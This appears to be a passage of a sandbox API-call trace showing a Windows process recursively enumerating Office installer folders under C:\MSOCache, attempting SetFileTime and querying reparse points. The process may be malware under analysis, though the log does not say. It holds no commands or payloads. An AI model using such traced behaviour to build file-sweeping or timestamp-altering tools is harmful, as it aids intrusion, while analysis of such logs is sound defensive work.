[0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed99c0 [0042.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6860 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda0f8 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6880 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda200 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed68a0 [0042.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda308 [0042.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.637] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.637] GetLastError () returned 0x12 [0042.637] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0042.637] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0042.637] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.637] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0042.638] GetLastError () returned 0x12 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed98b8) returned 1 [0042.638] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed99c0) returned 1 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.638] GetLastError () returned 0x12 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0042.638] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0042.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0042.638] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.638] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0042.652] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0042.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0042.653] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0042.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0042.653] NtClose (Handle=0x16c) returned 0x0 [0042.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0042.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0042.653] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0042.674] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.675] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed68c0 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed68e0 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed99c0 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6900 [0042.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed98b8 [0042.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6920 [0042.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda410 [0042.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.676] GetLastError () returned 0x12 [0042.676] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0042.676] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.676] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.676] GetLastError () returned 0x12 [0042.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0042.676] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0042.677] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0042.677] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0042.677] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.677] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0042.677] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0042.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0042.678] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0042.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0042.678] NtClose (Handle=0x174) returned 0x0 [0042.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 